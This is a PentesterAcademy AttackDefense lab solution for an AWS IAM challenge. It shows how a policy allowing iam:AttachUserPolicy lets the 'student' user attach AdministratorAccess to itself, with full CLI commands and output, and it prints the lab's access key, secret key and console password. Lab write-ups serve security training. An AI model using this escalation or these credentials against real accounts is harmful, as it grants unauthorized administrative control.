
ATTACK
DEFENSE
by PentesterAcademy

Name	Overly Permissive Permission I
URL	https://attackdefense.com/challengedetails?cid=2248
Type	AWS Cloud Security : IAM

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

Login URL	https://607486832336.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad0Q5g1cDN8STj7T
Access Key ID	AKIAY24IJN3IHXYL3VWB
Secret Access Key	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

Step 2: Configure AWS CLI to use the provided credentials.

Command: aws configure

```
┌──(kali㉿kali)-[~]
└─$ aws configure
AWS Access Key ID [****************3VWB]: AKIAY24IJN3IHXYL3VWB
AWS Secret Access Key [****************r ]: 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
Default region name [us-east-1]:
Default output format [None]:
```

Step 3: List the policies attached to the student user

Command: aws iam list-attached-policies --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name student
{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        },
        {
            "PolicyName": "Service",
            "PolicyArn": "arn:aws:iam::607486832336:policy/Service"
        }
    ]
}
```

Step 4: Check policy details for the Service policy.

Command: aws iam get-policy --policy-arn arn:aws:iam::607486832336:policy/Service

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy --policy-arn arn:aws:iam::607486832336:policy/Service
{
    "Policy": {
        "PolicyName": "Service",
        "PolicyId": "ANPAY24IJN3IDHANWBEHV",
        "Arn": "arn:aws:iam::607486832336:policy/Service",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2021-02-13T11:19:57+00:00",
        "UpdateDate": "2021-02-13T11:19:57+00:00"
    }
}
```

Step 5: View policy details for the v1 version of Service policy.

Command: aws iam get-policy-version --policy-arn arn:aws:iam::607486832336:policy/Service --version-id v1

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::607486832336:policy/Service --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "iam:AttachUserPolicy",
                    "Resource": "arn:aws:iam::*:user/*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2021-02-13T11:19:57+00:00"
    }
}
```

Step 6: Try creating a new user, named bob.

Command: aws iam create-user --user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:
User on resource: arn:aws:iam::607486832336:user/Bob
```

User creation failed due to insufficient privileges.

Step 7: Get AdministratorAccess policy arn.

Command: aws iam list-policies | grep 'AdministratorAccess'

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-policies | grep 'AdministratorAccess'
            "PolicyName": "AdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
            "PolicyName": "AdministratorAccess-Amplify",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-Amplify",
            "PolicyName": "AdministratorAccess-AWSElasticBeanstalk",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk",
            "PolicyName": "AWSAuditManagerAdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AWSAuditManagerAdministratorAccess",
```

Step 8: Attach administrator policy to the current user and confirm by listing policies.

Commands:
aws iam attach-user-policy --user-name student --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam list-attached-policies --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam attach-user-policy --user-name student --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name student
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        },
        {
            "PolicyName": "Service",
            "PolicyArn": "arn:aws:iam::607486832336:policy/Service"
        }
    ]
}
```

Step 9: Try creating a new user named Bob to verify Administrator Access.

Command: aws iam create-user -user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob
{
    "User": {
        "Path": "/",
        "UserName": "Bob",
        "UserId": "AIDAY24IJN3IIBHI3KTYY",
        "Arn": "arn:aws:iam::607486832336:user/Bob",
        "CreateDate": "2021-02-13T11:27:31+00:00"
    }
}
```

Successfully performed a privileged operation.

References:

1. AWS CLI (https://docs.aws.amazon.com/cli/latest/reference/)